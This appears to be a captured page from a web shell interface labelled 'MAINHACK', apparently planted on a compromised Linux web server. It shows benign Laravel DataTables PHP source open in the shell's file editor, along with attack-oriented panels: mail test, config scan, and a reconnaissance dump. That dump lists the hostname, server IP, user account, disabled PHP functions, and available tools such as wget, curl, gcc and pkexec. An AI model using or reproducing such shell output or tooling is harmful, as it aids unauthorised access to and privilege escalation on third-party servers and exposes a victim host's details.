[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DataTables.php
<?php namespace Yajra\DataTables; use Illuminate\Contracts\Database\Eloquent\Builder as EloquentBuilder; use Illuminate\Contracts\Database\Query\Builder as QueryBuilder; use Illuminate\Support\Traits\Macroable; use Yajra\DataTables\Exceptions\Exception; use Yajra\DataTables\Utilities\Config; use Yajra\DataTables\Utilities\Request; class DataTables { use Macroable; /** * DataTables request object. */ protected Utilities\Request $request; /** * Make a DataTable instance from source. * Alias of make for backward compatibility. * * @param object $source * @return DataTableAbstract * * @throws \Exception */ public static function of($source) { return self::make($source); } /** * Make a DataTable instance from source. * * @param object $source * @return DataTableAbstract * * @throws \Yajra\DataTables\Exceptions\Exception */ public static function make($source) { $engines = (array) config('datatables.engines'); $builders = (array) config('datatables.builders'); $args = func_get_args(); foreach ($builders as $class => $engine) { if ($source instanceof $class) { $callback = [$engines[$engine], 'create']; if (is_callable($callback)) { /** @var \Yajra\DataTables\DataTableAbstract $instance */ $instance = call_user_func_array($callback, $args); return $instance; } } } foreach ($engines as $engine) { $canCreate = [$engine, 'canCreate']; if (is_callable($canCreate) && call_user_func_array($canCreate, $args)) { $create = [$engine, 'create']; if (is_callable($create)) { /** @var \Yajra\DataTables\DataTableAbstract $instance */ $instance = call_user_func_array($create, $args); return $instance; } } } throw new Exception('No available engine for '.$source::class); } /** * Get request object. */ public function getRequest(): Request { return app('datatables.request'); } /** * Get config instance. */ public function getConfig(): Config { return app('datatables.config'); } /** * DataTables using query builder. * * @throws \Yajra\DataTables\Exceptions\Exception */ public function query(QueryBuilder $builder): QueryDataTable { /** @var string $dataTable */ $dataTable = config('datatables.engines.query'); $this->validateDataTable($dataTable, QueryDataTable::class); return $dataTable::create($builder); } /** * DataTables using Eloquent Builder. * * @throws \Yajra\DataTables\Exceptions\Exception */ public function eloquent(EloquentBuilder $builder): EloquentDataTable { /** @var string $dataTable */ $dataTable = config('datatables.engines.eloquent'); $this->validateDataTable($dataTable, EloquentDataTable::class); return $dataTable::create($builder); } /** * DataTables using Collection. * * @param \Illuminate\Support\Collection<array-key, array>|array $collection * * @throws \Yajra\DataTables\Exceptions\Exception */ public function collection($collection): CollectionDataTable { /** @var string $dataTable */ $dataTable = config('datatables.engines.collection'); $this->validateDataTable($dataTable, CollectionDataTable::class); return $dataTable::create($collection); } /** * DataTables using Collection. * * @param \Illuminate\Http\Resources\Json\AnonymousResourceCollection<array-key, array>|array $resource * @return ApiResourceDataTable|DataTableAbstract */ public function resource($resource) { return ApiResourceDataTable::create($resource); } /** * @throws \Yajra\DataTables\Exceptions\Exception */ public function validateDataTable(string $engine, string $parent): void { if (! ($engine == $parent || is_subclass_of($engine, $parent))) { throw new Exception("The given datatable engine `$engine` is not compatible with `$parent`."); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002